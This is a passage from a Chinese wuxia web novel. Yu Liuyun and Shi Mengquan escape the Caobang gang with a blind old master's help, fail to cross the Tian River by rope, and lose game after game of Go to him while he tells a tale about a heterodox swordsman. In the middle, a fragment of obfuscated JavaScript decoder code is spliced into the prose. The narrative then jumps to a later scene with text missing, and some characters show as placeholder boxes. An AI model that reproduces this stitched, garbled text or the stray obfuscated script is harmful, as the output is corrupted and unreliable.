漕帮的人盯着他仔细看,发现他的眼珠子果然是不会动的。为首那大汉道:“老人家,那两个可不是什么好货色,打着虎威镳局的旗号在外招摇撞骗——”他向紧闭的屋门望了望,道:“您眼睛不方便,或许贼人进了屋也不知道。让我们看看——”边说,边要绕过老人。 “哎——”老人从容地一移就挡住了他的去路,“我虽然眼睛瞎了,耳朵却还不聋。我今天一天都坐在家门口,要是有人进了屋子,我总晓得。” “这两人很是狡猾。”大汉说,又再次想绕过老人。可是老人还是稀松平常地一挪,又将他挡住。漕帮其余的人见状,就要从老人的另一侧强行闯到门前,但老人忽而向左移移,忽而向右挡挡,也不见他怎么深手抬腿,仿佛是多走一寸都懒得似的,但偏偏每一次移动都恰到好处,时间空间分毫不差,把漕帮众人牢牢地拦在门外。 漕帮中人见他如此举动,一发肯定玉、石二人是在茅屋里了,但是看老人的身手,就是他们全都加起来,也敌不过。那为首的大汉便示意众人先退下,自己朝老人恭恭敬敬地抱拳道:“前辈,在下漕帮严八姐。” 严八姐?玉、石二人相视一愕,虽身在险境,也不禁无声地笑了起来:这个大男人竟然叫做“严八姐”,他们还以为那必然是个女子呢?难怪方才被人识破! 老人并不还礼,只淡淡道:“哦。” 严八姐道:“我们漕帮和四方义师在此拦截樾国大将军玉旒云。刚才那里个年轻人形迹可疑,我等怀疑他们是樾国奸细。请老前辈以大局为重,把这两个人交给在下。若有什么得罪之处,他日定登门谢罪。” “四方义师?樾国?”老人喃喃的,“不明白——你们抓到这两个年轻人,要如何呢?” 严八姐道:“自然是会同四方义师的英雄审问,让他们交代出玉旒云的行踪,好抓住这恶贼。” 老人道:“你们抓住了玉旒云又要如何?” 严八姐道:“这恶贼占我河山杀我百姓,当然是就地正法了。” 老人似乎轻轻地冷笑了一声:“几十年了,原来还是一样。” 众人都不明白他所指何事,可就见他用竹竿在身边划了半个圈儿。玉、石二人从门缝里看去,觉得他的动作漫不经心,而漕帮众人却感到一股巨大的力量,像是无形的手一般,把自己朝后推。大家全都站立不稳,踉踉跄跄直退出了丈余。心下无不骇异。 “妖法!”有人嚷道。 严八姐在江湖上打混已久,当然晓得世上没有妖法,这老人只是内功极为高强罢了。但是这一条也不比“妖法”容易对付。如果老人今日决意不把玉、石二人交出来,漕帮人用强攻,根本起不了丝毫作用,只会给自己多找麻烦。 好汉不吃眼前亏,他想,于是招呼手下:“咱们走。”带着人原路钻回树林里去了。 玉、石二人这才松了一口气。 老人还在门口站着不动,似乎要用瞎眼监视着漕帮众人走远,过了好一会儿,才叹了口气,转身推门进来,道:“一天到晚哪儿来这么多事?也不嫌麻烦。” 石梦泉知道漕帮人必然会去而复返,是他和玉旒云牵连了老人,因道:“老人家,晚辈们连累你了。这就走。” 老人道:“走?你拖累都已经拖累了,难道一走了之,他们就不会来找我的麻烦了么?” 玉旒云只觉老人行事古怪,猜不出他究竟为什么要帮自己,道:“我们不走,他们也会来找麻烦。既然本无区别,老人家您何苦留我们在这里?你这屋子可不宽敞,多两个人要喘不过气来了。” 老人呵呵一笑:“小姑娘的嘴巴倒厉害。那要多么宽敞的房子你才能喘过气来?将军府么?樾国将军玉旒云……原来现在有个樾国了……” 玉、石二人听他这样说话,都吃了一惊:什么意思?难道他居于此地消息闭塞,竟不知道樾国么?那这也太不可思议了!樾国自太祖建元以来,已经有三十年了呀! 老人好像不用眼睛也能看见他们的惊讶,笑了笑,道:“干什么?这么些东一个西一个个国家,英雄狗熊一大堆,到头来不过就是一本史书罢了,究竟是能吃还是能喝?” 这叫什么话?玉旒云惊得张口结舌:天下霸业,多少人把一切都拼上了,就是为了在史书中占个一席之地,但老人却嗤之以鼻。然而话说回来,吃不着葡萄说葡萄酸的事也多得很——看这老人身手了得,当年说不定也是楚国武林中响当当的人物,现在不能呼风唤雨,却要隐居于此,肯定有隐情。 她正想着要不要接人家的话茬儿,老人已道:“怎样?你们是走是留,想好了没有?” 石梦泉以为多留在楚国一刻就一分危险,当然主张立刻走:“我们赶着要过天江去。还是早些动身为上。” “过天江?”老人道,“你的肩膀伤成这个样子,还想过天江?” 石梦泉觉得莫名其妙:他又没打算游过天江,也不会自己撑船过去,关肩伤什么事? “随便你们。”老人道,“要走就赶快——迟些那伙人就又要来找你们了。” 玉旒云虽然还是好奇这老人为什么要施以援手,但此刻并不是刨根究底的时候,望了石梦泉一眼:你真的能走么? 石梦泉点了点头。 玉旒云即道:“老人家,大恩不言谢。晚辈们日后若有机会,一定来报答您。” 老人摆了摆手:“朝上游走七里路就是过江的地方了——不要说日后报答,将来的事,谁也说不准。等你老了,就知道了。” 玉旒云才没功夫听他教训人生的大道理,同石梦泉出了茅屋,按老人的指点朝上游走。山路崎岖难行,两人又要一直提防漕帮的人,所以行程相当缓慢,大约到了正午时分才走完了那七里地。 可是,山势依然险峻,水声隆隆如雷,——已经接近白虹峡了,悬崖外的江水奔腾咆哮这样疾的江流,怎么可能有渡口?就算有渡口,又要从哪里下到江滩上去呢? 玉、石二人都不解。又朝前走了一阵,忽然看到几个奇装异服的人——有男也有女,男人头上都裹着包头,外插一根绚丽的野鸡毛,女人则戴着精致的绣花头饰,手腕脚踝上套着亮闪闪的银铃,走起路来叮当做响,显得欢快无比。他们有的背着背篓,有的抱着孩子,说说笑笑,朝一条山间小路走去。 看起来不像是中原人氏,玉、石二人皆想:莫非是西瑶人?从哪里来的?难道这附近有渡口么?他二人也到近前看个究竟,只见小路一头是往山下去的,另一头显然是通往悬崖边——莫非是飞过来的不成?怎么可能! 思量间,又有三五个异族打扮的人走了过去,嘻嘻哈哈的,其中一个还抱了只山羊,咩咩叫唤。玉、石二人一发好奇,便逆着人潮朝悬崖那边走,到了近前,不由大吃一惊—— 只见一条绳索横跨天江两岸,西瑶那边略高,楚境则稍低,一个西瑶少年用一条皮带挂在绳索上,正由对岸滑过来。玉、石二人探头朝悬崖外望望,底下正是天江上著名的白虹峡了,江面只有四丈多宽是天江全境最窄之处,上下游落差又大,所以奇险无比,上游的船只若不小心接近了这里,立刻就被卷入水底,撞击礁石而尸骨无存。不过这西瑶少年却丝毫不担心会掉落山崖,表情悠然自得,一边滑还一边哼着山歌,不时就到了楚境,站定了,看看惊愕不已的玉、石二人,用生涩的中原话说道:“过那边去,不走这里,往前。”说时朝更上游处一指。玉、石二人望了望,看见另一条绳索横跨江面,只是楚境略高,而西瑶处偏低,也有几个人正朝西瑶境内滑。 他们真是既惊且喜:这种凌空飞渡的法子他们在大青河之战时也用过,不过动用工匠和士兵,花了好大力气架铁索桥,似西瑶人这般一根绳索一条皮带就解决问题,实在也太巧妙了。 玉旒云上前摸了摸那绳索:“这是什么做的?就不会断么?” 西瑶少年咧嘴一笑:“铁,牛筋。” 这两样东西怎么能混到一处?石梦泉也上前仔细看那绳索。西瑶少年从旁打着手势:“铁,里面,牛筋,外面。”玉旒云在绳索钉入岩石处看看,才明白了过来:用十几根马鬃般粗细的铁丝拧成一股铁绳,再将十几根细铁绳拧成一根粗铁绳,外面包裹上牛筋,防止日晒雨淋的生锈,难怪坚韧无比经年不坏! 西瑶人的炼铁技术竟如此发达!玉旒云惊讶又佩服:这样的铁丝别说的樾国,就是一向以工艺精良而著称的楚国也是造不出来的。 “你们……”她问那西瑶少年,“为什么有船不坐,要这样过江?” 少年傻傻地一笑:“坐船,十文,交税,好多。” 原来是为了省船资且逃关税!玉旒云才明白过来:也就是斤斤计较的西瑶商人才会想出这种法子。 她和石梦泉谢过了少年,即往上游那去到西瑶境内的滑索走。不多时就到了,才发现西瑶人都是自带皮带,他们却没有。“攀过去也是一样。”石梦泉道,“不过几丈远而已。”说着,就抓着绳索意欲过江。 但是这一动作却牵动了伤口,冷汗立刻涔涔而下。 玉旒云见了,道:“你行么?” 石梦泉勉强一笑:“我又不是纸糊的。这点小伤都扛住,以后也不要再上战场了。”边说,边勉力抓着绳子朝悬崖边走。 “等等!”玉旒云一把拉住,“不要冒险。” “没事……”嘴上虽是这么说,不过心里却已没有底:老人封住了伤口附近的穴道,虽然止了血,却让他手臂一点力气也没有,这样真的能过天江去么?啊,难怪老人给他们指路时要提到他的肩伤…… “咱们回去。”玉旒云拦在他的面前。 “要不……我们往白虹峡上游的渡口去?”石梦泉不想再耽误时间。 玉旒云摇摇头:“你现在这样,到上游再遇到漕帮的人,咱们占不了便宜。” 怎么总是在最关键的时候拖累她?石梦泉感到万分懊丧。 玉旒云笑笑:“西瑶皇宫又不会飞了!咱们就迟几天也无妨。走吧!”说时,竟率先朝来路返回。 石梦泉愣了一会,才追上她:“大人……” “你不要再说啦。”玉旒云打断他,“我刚才不是说过了么?叫你不要担心行程,没有你,我到了西瑶也没用。” 石梦泉心中百感交集,千言万语却只化成了一声“是”,便再也无话,默默地跟着玉旒云朝回走。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“跟我进来吧。”老人说,同时自己就钻进了洞去。 石梦泉忧虑地看看玉旒云,而后者只是四下里张望,这便看到山洞旁边有一个坟茔,前面矗立着一块不规则的石头,上刻“华重翦”三个字,虽然天长日久,日晒雨淋,但研究银钩铁划,遒劲非常——但是不像是悉心雕琢,倒似用利器一次书写而成。 华重翦?不知和这神秘老人是什么关系。玉、石二人互相望望,愈来愈好奇,真不知洞里等待着他们的什么。可是两人忽然又同时一讶,道:“难道是——”把这三个字倒过来,可不就是“翦重华”么!神农山庄里听那人提到过,似乎是多年之前在中原武林“一人独大”的一个人物,在江湖上引起了不小的动乱。他竟然归葬于此?还被人把墓碑上的名字倒过来写? 又或者他没死?也许这神秘老人就是翦重华?一念及此,玉旒云不由兴奋得心跳加快:那他制住这帮武林匹夫可不就像踩死蚂蚁一般的简单?有他相助,自然再不怕漕帮。不过,她细一思量:听那岳掌门说,这事连他自己都没经历过,那岂不是过去了五十多年?看这老人的年纪,倒不像有七十岁呀! 石梦泉轻声道:“大人,真的要跟进去么?” 玉旒云眯起眼睛,笑道:“难道你想要咱俩变成‘茅坑里的石头’么?”说着,已经走进了山洞去。 石梦泉跟着她,一直朝里,越走越黑暗,渐渐已是伸手不见五指。但好在并无岔路,约莫半柱香的功夫,又看到天光,再行片刻,便豁然开朗,到了山石环抱中的一片空阔之地。那里建有三间木屋,虽简陋却也齐整。老人就坐在当中一间的门口,道:“小姑娘,这里够宽敞了吧?” 玉旒云笑笑:“前辈将我们从漕帮人手中救出来,又这样招待我们,晚辈们哪里还敢嫌弃?” 老人哈哈而笑:“小姑娘,你不老实。别以为老头子我看不见,你就可以骗我。你现在心里一定想:这老儿骗我们来这里做什么?一定没安好心——是也不是?” 玉旒云不待答,石梦泉已抢先道:“前辈误会了。您施以援手,晚辈们怎么敢胡乱猜疑?只是,晚辈们也实在不解,咱们萍水相逢,前辈何必要因我们和漕帮结下梁子?” 老人拈了拈胡须:“还是你这小伙子比较老实,心里想什么就说什么。好吧,那我也跟你直说——我就是看不惯漕帮的人,遇上他们就要跟他们过不去,行了吧?” 这叫什么理由?玉旒云想道:你说我不老实,自己还不是一样讲糊话?然而怕被老人听出了心思,这次不敢轻易开口。 但老人还是猜透了,道:“信也好,不信也好,你们两个娃娃身上没什么是我想要的——其实这天下也没什么我老头子想要的东西。六十年来我插手的第一件江湖事,不能让它有头没尾。你们就在我这里把伤给治好了,然后该上哪里上哪里去。我管你是什么樾国也好,什么也罢,都不干我屁事。” 六十年!玉旒云计算:看年月,倒和岳掌门说翦重华的事对得上,不过横看竖看,这老人也没过七十岁呀! “小伙子!”老人叫石梦泉,“我左手边那屋里有伤药,你自己去拿了用。” 石梦泉还不及答应,又听老人叫玉旒云:“小姑娘,我右手边那间是厨房,什么都不缺,你且做饭来吃。” 什么!玉旒云差点没跳起来:难道看她是女子就理所当然差遣她烧饭么?别说她打小男装长大,就算不曾如此,以她贵族小姐的身份,也绝对是十指不沾阳春水的。这老头儿,真是欺人太甚! 石梦泉当然明白这其中是隐情,赶忙使个眼色,表示自己先去敷药,然后就来准备吃食,让她不要着恼。 玉旒云点头,不过表情还是愤愤,一动不动地站着,考虑如何从这老人的口中套出话来。石梦泉则自己去找了金创药来处理伤口,唯包扎不易,所以走出门时还显得狼狈万分。玉旒云见了,就帮他把绷带结好。他说声“谢谢”,又自到厨房去。 老人坐在门口,直摇头。 “你只要有得吃就行了,”玉旒云知道说谎迟早会被看穿,所以也懒得假装客气,“管是谁做的呢?” “呔!”老人竹竿一敲地,“我老头子当然有得吃就行。你这死丫头将来嫁得出嫁不出,我才懒得管!” 什么话!玉旒云心中怦然一动,不过旋即又恢复常态:“既然懒得管,大家都消停。”便不再盯着老人,自己一边打量周遭的环境,一边继续计划着下一步的行动。 可是没多久,她就听见一阵清脆的淅沥哗啦声。回身看看,老人不知何时在屋前摆起了一张桌子,上布棋盘,正自己和自己下棋。 这可真是希奇了!她想,围棋棋子都是一样大小,无论黑白,老人自己和自己下棋,怎么能知道何处是黑子,何处是白子呢?即使记性极佳,能记个十几二十手,到了百手之后就怎么也不能记住了呀。 一时好奇,她走到了老人跟前。看棋盘中已经落了百余子,黑子从容不迫,白子步步进逼,正是斗得激烈。老人左手落下一枚白子之后,棋盘中央形成一条近四十子的“大龙”,黑子的形势顿显危急,所以他右手持着黑子,凝神思考,久而不决。 玉旒云当然学过棋,不过并不精通,也不喜好,只是想看老人怎么能记住这样复杂的一个棋局。她静观了片刻,见老人把黑子在“去二八”位上轻轻一放,顷刻间,大龙被围成了一条死龙,黑子反败为胜。 饶是玉旒云并不好此道,也惊地不由“呀”地叫了一声,暗叹这一着的厉害。 老人皱了皱眉头,没理她,左手复又拿起白子来,思索如何扭转局势,良久,将棋子一丢,叹道:“输了。” “怎么这就认输了?”玉旒云道,“还有余地呀!” “观棋不语。”老人道,“你这丫头,你说余地在何处?” 玉旒云道:“总之未到最后就有余地。”她拿手一指“上九二”位道:“白子为什么不走这儿?上九二。” 老人轻蔑地一笑,道:“就依你走这里。那我黑子走这边——”说着又指了指“平十八”位。 玉旒云想了想,出个意想不到的怪招,走了“上二二”位,老人冷冷一笑,道:“胡来。那我走入二七。”玉旒云不服他小看自己,又继续在棋盘上比画下一步棋。老人却全然不把她当一回事,有时连想都不用想,就有了应对之策。老少二人也不真用棋子,就靠口述手划,较量起棋艺来。 大概走了二十余手,玉旒云一边要思考对策,一边要记着棋局,已经有些力不从心。她看白子似乎的确气数已尽,再难有转圜的余地,但又不肯就推盘认输,依然苦苦寻找黑子的破绽。终于在右下角寻到一片黑棋,只有一□□气,即大喜道:“我下这里。” 老人问了方位,呵呵而笑:“小姑娘,那里老头子我落过子了。” 玉旒云道:“怎么可能?” 老人道:“你不信?我来指给你看——你走的‘上九二’是第一百八十七手,我走的‘平十八’是第一百八十八手,接着……”他果真如此这般一步一步算给玉旒云看,分毫不差,到这时,黑子是不认输也不成了。 玉旒云简直不敢相信自己的眼睛。 老人道:“怎么样,小姑娘?你服了没有?” 认输可以,服输可不是玉旒云的作风。她嗤笑道:“这又如何?那前一百八十六手都是你自己精心布置好的。你早就想让黑子赢,我再怎么补救也无济于事。” “嘴硬!”老人喝道,“输了就输了,还强词夺理。” 玉旒云就偏要强词夺理:“是你自己输给你自己,左手输了右手。我可没有跟你下。” “你跟我下就能赢了么?”老人冷笑道,“不知天高地厚的小丫头!” 玉旒云这样的性子是最容易被人使激将法的。她自己也知道这个缺点,是以行军打仗的时候,每每遇到这种情形都要再三考虑,有时还得要石梦泉一再劝阻,才能克制一时的冲动,不至妨害大局。但今日不过是无伤大雅的游戏,就放任一下也无妨。因道:“下就下,难道还怕了你!” 老人道:“哼,年轻人都是不见棺材不掉泪的。”边说,边去收拾棋盘上的棋子,只见他左手取黑子,右手取白子,一行取,一行往钵里放,没有一个拿错的。这样的记性,叫玉旒云不得不佩服。 “我跟你比试可以。”玉旒云道,“不过咱们得用棋子,不能光拿手比画,那可不叫下棋。” 老人“哼”了一声:“随便你,便是要我让你三四子你也赢不了。” 玉旒云也“哼”了一声:“别把人看扁了,没听说过‘后浪推前浪’么?” 老人嘿嘿一笑:“当然听说过,老头子今天倒要看看你这小丫头有没有本事叫我‘前浪死在沙滩上’,哈哈!我不欺负小孩子,你执白先行。” 玉旒云也不客气,就拈了两粒白子到对角的“四四”位上落“势子”,这是围棋开局的规矩。可是老人却一把拦住了她:“那种下法太单调了,只能在中盘决胜负,不过瘾。咱们不要落势子,随便下,那才有意思。” 玉旒云愣了愣:她少时学棋时就是从落势子开始的,然后“起手三六,应手九三”都是前人总结的经验,如今竟不要势子了,那该如何下法?但她只是犹豫了片刻,即豁然开朗:没有规矩那才好,可以杀个痛快淋漓!当下就想把棋子找个离奇古怪的位置随便放下去,好好刁难一下这老人。但将落子时,转念一想:“他不爱人家下四四位中盘对决,说明他不擅长在中盘拼杀,我就偏偏来逼他到中盘,看他奈我何!”因“啪”地一下,将第一子落在了“去四四”上。 老人哈哈大笑:“你这小丫头竟有牛脾气。老头子陪你玩!”便在“上四四”上落下一子。 玉旒云并不怕他威胁,继续在“入四四”上落子。老人也就果真陪着她,在“平四四”上下了第四手。接着玉旒云走“平三六”,老人应“平六三”,玉旒云走“入十四”,老人应“去三六”……一步接一步,转瞬就下了三十来手,双方都在周边各自布局,没成什么气候。 这老头儿,老不跟我交锋,也不知转的是什么主意?玉旒云暗想:棋局如战场,不过又怎及战场上那样瞬息万变生死一瞬?想我堂堂樾国大将军,千军万马也应付得来,在棋盘上玩点儿小把戏,还能难得倒我么?我总要逼他来决胜负才好! 便细细将局势考量了一番,想出一记狠着来。 “怎么样,年轻人?”老人道,“你不是现在就要推盘认输吧?” “笑话!”玉旒云道,“哪有三十来手就认输的?”她将棋子轻轻在瓷钵边上敲着:“老人家,要是我赢了,你当如何?” 老人哈哈笑道:“八字还没一撇就开始飘飘然了!你这小丫头,老头子今天要好好修理你。” 玉旒云道:“你也不要先说大话。要是我赢了,怎样?总要赌点什么吧?” 老人拈了拈胡须:“虽然老夫什么也不需要,不过跟你赌一赌也无妨。你要是赢了,只要是老头子我能做得到的事,你可以说一样,我一定给你办到。要是你输了……哈哈,这个不说也罢。我可以跟你下三百局,你只要赢一局,就算你赢了。” “好!一言为定!”玉旒云落了子。 42. 第 42 章 “你下在何处?”老人问。 玉旒云敲了敲棋子:“去六七。” 老人拧起眉头:“你这丫头,下手也够狠毒的!” 听他这样骂自己,玉旒云反而得意:只有输赢,何论手段?是狠毒还是勇敢,还不全凭人说?那也是成王败寇的事。 不过老人摇了摇头:“虽然狠,不过有用力过猛之嫌,围棋又不是跟人拼命。其实这局势,飞补在这里才是一般的分寸。”说时,点了点“去四八”位。 玉旒云才不理会:所谓兵不厌诈,“一般分寸”怎么能够取胜? 老人又摇摇头,在“去五六”上落了一子,平平无奇。 两人又继续手谈下去,过五十手时,还未向中央扩张,都在去位上纠缠。玉旒云渐渐不耐烦了,直盘算怎么打乱老人的阵脚。但还没想出个结果呢,忽见老人第五十四手转战到入位上去了,先是暗喜,接着却恍然发现在不知不觉中,黑子在去位所占的实地竟有三十目之多,老人实际已占了上风了。 可恶,这老狐狸!她暗骂一句,不敢再打其他主意,先凝神扭转局势再说。两人便又在入位上较量。 这一次玉旒云步步思考,处处小心,不敢再有丝毫怪招。她自问没有失误之处,可是走到了七十八手,又被黑子实地占优。她真是又惊又怒,不得不果断地转战他处。然而老人已经占尽先机,一时在上位,一时在平位,玉旒云只能疲于应对。到了百手之后。高下更加明显——老人布局严谨,脚踏实地,而玉旒云则东一鎯头西一棒子,难成气候。 老人就嘿嘿笑道:“怎么样,小姑娘?这一局我看你是难以取胜了,不如就此认输重来?” 玉旒云“哼”一声道:“休想!”重重地将一子落在“上八八”位上。 老人问了方位直是摇头:“还不认输?唉,真是年少气胜——我可告诉你,你这一子若落在‘上□□’或许还有一线生机。现在嘛,你就等着看吧!” 于是又继续斗下去,果然玉旒云越来越被动,许多步棋都是被老人逼得无可奈何之下才应付的烂着,走到一百五十手时,胜负已成定局。玉旒云虽然还想寻找最后的专机,但是当老人一百五十八手落下,实在是回天无力了,她不得不认输。 老人嘻嘻笑道:“怎么样,年轻人?你还要在继续和老头子我斗下去吗?” 玉旒云是决不肯服输的,想也不想就道:“那是自然。胜败乃兵家常事。三百盘才去了一盘,你也别得意得太早。” “哟——”老人笑道,“竟教训起我来了。好像得意太早不留神输了棋的是你这个死丫头呢!” 玉旒云尤其不喜欢被人称为“死丫头”,那些武林人士骂她“恶贼”也就算了,至少还是因为忌惮她的本事,而这句“死丫头”,是全然不把她当成一回事的架势。因道:“你不要五十步笑百步,你要真赢了我三百盘,到时候再教训我不迟。” 老人道:“你还真是不见棺材不掉泪,我就陪你……”才说着,吸了吸鼻子:“有东西吃了,先填饱肚子再来收拾你!” 盲人失去了视觉,其他感觉比常人灵敏。玉旒云经他提醒,这才闻到了饭香——从前夜奔波至今,她也是饿得前心贴着后脊梁了。幸亏梦泉晓得怎么煮饭,她想,否则要劳动这老头儿的大驾,还不知要听他多少教训。 正想着,听老人喝道:“死丫头,不会做饭就算了,现在连帮手开饭也不晓得。我看将来谁要你!” 玉旒云简直气得要跳起来。但是转念一想:老头子处处针对她,不就是为了叫她生气么?她偏偏不生气,让老头子没趣。当下拍拍手站了起来,去帮忙拿碗筷。 石梦泉只是就着老人厨房里有的食物随便整治了一些,这点本事多是行军打仗露宿在外时练出来的,和厨子的花哨功夫自然是不能比。老人似乎很不满意,大摇其头。玉旒云倒是因为饿狠了,没讲究。 一时就吃过了,老人又坐到了棋盘边上。玉旒云才要跟去,就听他嚷道:“死丫头,还不洗碗去?这也要人教么?” 忍耐也有个限度,玉旒云差点儿拿起一只碗来就往地上砸。老人好像早已料到,袖子一挥,就把碗卷了过去,稳稳地放回桌上,道:“还不快去?你去洗碗,我和小小子先杀两盘再说。” “晚辈的棋艺不精。”石梦泉连忙道,“前辈和我下,会闷死的。” “那有什么关系?”老人道,“积攒了一股郁闷之气,正好待会儿发泄出来,把这小姑娘杀个片甲不留。” 玉旒云冷哼一声:“又说大话,我倒看你能把本——本小姐如何!”她几乎习惯性地脱口说“本将军”,幸亏及时打住。 老人道:“罗哩罗嗦的,洗碗去!”说时,手在桌上轻轻一拍,那碗就全被震了起来,他手一探,抓住了一双筷子,将其往旁边的碗碟上轻请一敲。那碗碟被击中,直飞出去,到了厨房门口才落下。老人又接二连三地在其余碗碟上一一敲过,它们便也一个接一个地飞出去,在厨房门前整整齐齐地叠成一摞——这一切都在碗碟被从桌面上震起的瞬间完成,但是每一击的时间和力度都恰到好处,碗碟落地也没有丝毫的损坏。玉、石二人直看得目瞪口呆。 “怎样,丫头?”老人用筷子指着玉旒云,“你是自己过去呢,还是要老头子我把你扔过去?” 玉旒云当然早就知道老人功夫了得,这时见他当面显露,更加既忌惮又钦佩,暗想:这个人,若能为我所用,楚国的那些匹夫岂敢再靠近我半寸? 她终于咬了咬嘴唇,不再争辩。 等她咬牙切齿和碗碟“搏斗”完,再回到棋桌前,老人和石梦泉已经下了两局了。石梦泉的棋艺当然还在玉旒云之下,再怎么一丝不苟也敌不过老人。两局都在百手之内就推盘认输了。看到玉旒云回来,他赶紧让位。老人则道:“嘿嘿,丫头,你准备好来受死了么?” 玉旒云洗碗洗得一肚子火,下定决心要把老人收为己用,笑了笑,道:“谁死还不一定呢!”即动手收棋盘上的棋子。罢了,自己拿了白子,先到“去三二”位落下一枚。 老人笑笑,应在“上三二”位。玉旒云接“入四四”。老人再走“平四四”。跟着,玉旒云就在上隅展开了攻势——这一次她决意小心谨慎之外还要迅速把握全局的先机,决不再让老人牵着鼻子走,因此每一着都凌厉狠辣,希望让老人疲于应付,没有还手之力。可是不知怎么的,上隅的战斗还未结束呢,老人就开始向其他方位转战。玉旒云想要无视,但又怕老人有什么阴谋,自己看不出来,便随便应了几步。这一下可糟了,一发而不可收拾,老人把她带到了入位上,另辟战场。 玉旒云直骂“可恶”,想要立刻扭转局势。谁知心太急,竟看错了一个变化,五十九手应下在“入八八”,却落到了“入九八”上,想要后悔,已经来不及了。 老人也看出她的失误:“嘿嘿,小丫头,虽然落子无悔。不过你是小孩,我让让你也没关系——你去重下过吧。” 但玉旒云一方面心高气傲,另一方面也知道,这老人脾气古怪,不把小辈放在眼里,若要收服他,不得做一点儿叫他瞧不起的事,于是一口回绝:“棋如人生,人生是没有后悔药可吃的,下棋岂能悔子?” 老人愣了愣,隐隐露出了赞许的微笑。 二人继续斗下去,因为玉旒云失误,黑子分断白子成功,到六十四手,老人彻底获得了全局的主动。这以后虽然玉旒云几次想将黑子逼入死角,但是因为自己的布局被打乱,破绽众多,而黑子做活的空间很大,所以一直也不能如愿。反而在一百四十四手被老人吃掉了十子。她又坚持了十几手,最后不得不认输。 “再来。”她说道,“还有两百八十八盘。” “你这丫头!”老人收着棋子,“真是倔强。你要是悔了那步棋,也许可以撑到终盘呢!” “又如何?”玉旒云道,“就算是悔了棋后面的局势是怎样也很难说,便是被我赢了,也不光彩。” “呔!”老人将棋子朝她丢了过去,“我以为你是个我行我素的有趣家伙,怎么却这般迂腐?现在讲的是输赢,又不是仁义道德。” “不错。”玉旒云道,“不过输赢也有不同的争法。先要看对手。如果对手都是卑鄙无耻的小人,乱耍手段也无所谓。” “还是迂腐。”老人摇头。 可玉旒云又接着道:“也要看局势。倘若只用方才那一局定胜负,我悔棋就悔了,也非要赢你不可,以后成王败寇,我也不怕人论是非。但既然还有两百八十八局,我有的是机会。又何必为了一点蝇头小利,就让人觉得我是个卑鄙小人呢?” 老人愕了愕,既而哈哈大笑:“你这丫头,真是有意思。我喜欢!” 玉旒云笑道:“你不要急着喜欢我。等我杀你个片甲不留的时候,你恨我也来不及。” 说话间,棋子已经收完了,双方又接着下第三局、第四局。到黄昏时,吃罢晚饭还接着杀棋。那时天色渐渐晚了,老人因眼瞎不用灯火,家中竟没有蜡烛。石梦泉见一老一下兴趣仍浓,就找了些松枝来,以做照明之用。 如此一直到深夜时分,总下了有二十来局,玉旒云还连一盘都没有赢过。石梦泉已经相当困倦了,但不敢自去休息,强打着精神观战。感觉上,玉旒云的攻势始终凌厉,一步一步想把对手逼得喘不过气来。而老人从容不迫,总能以柔克刚,叫玉旒云的力量没法发挥。他并不爱好下棋,只想:在战场上若遇到一个这种风格的将领,大人恐怕吃亏。 转眼又开始新的一局了。玉旒云和老人各自在“去三二”和“平四四”上落了子。玉旒云方要继续,忽听老人说道:“你们两个对江湖上事知道多少?” 玉、石二人相互望了一眼,不知要如何回答这个问题。 老人道:“从前有一位大官,他是个好人,为了赈济一方灾民,他挪用了朝廷的官粮。朝中他的对手发现了此事,就大做文章,把他逮捕下狱,秋后就要问斩。” 玉、石二人知他突然说起故事来,不会是无端端,于是不插嘴,静静地听。 老人道:“因为这位大官和江湖人士颇有些交情,他出事之后,在朝廷已经再无办法营救,他的独生女就四处请求武林大侠,希望他们能够劫狱救出父亲,然后父女俩远走高飞,离开中原——怎么不落子?” 这是对玉旒云说的。玉旒云即在“上二三”走了一步。 老人应在“入四四”,接着说他的故事:“不过,那些过往受过大官恩惠的侠客们竟没有一个愿意出手的。他们说,江湖和朝廷素来井水不犯河水,若这大官当真冤枉,总有好心的官员会替他洗脱冤屈。找人劫狱只会适得其反。” 玉旒云轻轻地冷哼了一声,又走一步棋。老人也接了一步,继续说道:“这些人说得好听,其实那原因是因为他们正要召开武林大会选举盟主。大家都忙着张罗此事,哪有功夫管别人的麻烦?这个姑娘无法,听说有一位邪道人士本领高强,就决定去求他。” 且说着,且和玉旒云轮流落子。玉旒云注意到老人“小飞”入位,又要分散自己的攻势,这次就吸取教训,以攻为守,打了个“上七六”。老人应在“上三四”,仿佛是故意陷入白子的包围之中,但更像一把匕首插到敌人的身上,虽然还不是要害,但长久下去,不知会如何。 “那邪道人士脾气古怪,不肯轻易帮人。姑娘去找他,他闭门不见。姑娘就在门口跪着,接连三天三夜。”老人知道玉旒云下了一子“上一四”,不仅夺取了实地,还打乱了黑子的布局,仔细思考了片刻,才应了“上五九”。这样一来,虽然他有两子可能会被吃掉,但那之后玉旒云的日子也不好过。解决了这一危机,才继续说道:“姑娘实在把这个邪道人士逼得烦了,他不得不现身相见,就问:‘我救你父亲出来,你给我什么好处呢?’要知道,那些正派人士乃是道貌岸然的伪君子,哪怕心里很想要报酬,也不会说出口。邪道人士则是真小人,有什么说什么。” 玉旒云不禁一笑,看了看石梦泉:楚国的正道人士他们还见识得少吗? 老人道:“这个姑娘回答,只要能救出她父亲,她为奴为婢,做牛做马也要报答。这种话凡是求人的时候,多的多了。邪道人士当然不信。不料,这姑娘就真的为奴为婢起来。挑水打柴煮饭洗衣,又做了三天三夜。” 玉旒云走“上二六”,这时上隅呈现出一片“战云密布”之态。“邪道人士不会被这一点儿小事就打动了吧?”她问。 “当然没有。”老人应了一步,想要吃掉一枚白子,不料立刻被玉旒云“黄雀在后”,自己反而损失一子。他不禁咂了咂嘴,半晌,才在一个无可奈何的位置上落子,同时把故事讲下去:“邪道人士那时其实正打算着要去武林大会上捣乱,所做的一切,不过是想要叫姑娘知难而退,不要再纠缠自己而已。而姑娘竟以一个官家千金的身份来做这些粗重活儿,他怎么也没想到。为了迅速将事情解决,他只得想了另一个主意。” “哦?”玉旒云走“上五三”,如此局势对她更加有利。 老人道:“邪道人士对姑娘说道,倘她能胜过自己,自己就立刻去帮她救人。” “这怎么成?”石梦泉道,“这姑娘若是武功高过这邪道人士,还需要他出手么?” 老人笑了笑:“姑娘开始也是这样说。不过邪道人士跟她解释,两人并不比武功,只随便比一样本事——当然,绣花之类的女人功夫是不能算的。” “那比什么?”玉旒云几乎将上隅占领完毕。 老人再次转战他处,棋子落下“啪”的一声:“比下围棋。呵呵。” 啊!玉、石二人心中都如电光火石般的一闪:莫非这邪道人士就是老人他自己? “想必他们都是棋艺高超,所以杀了三百个回合?”玉旒云问。 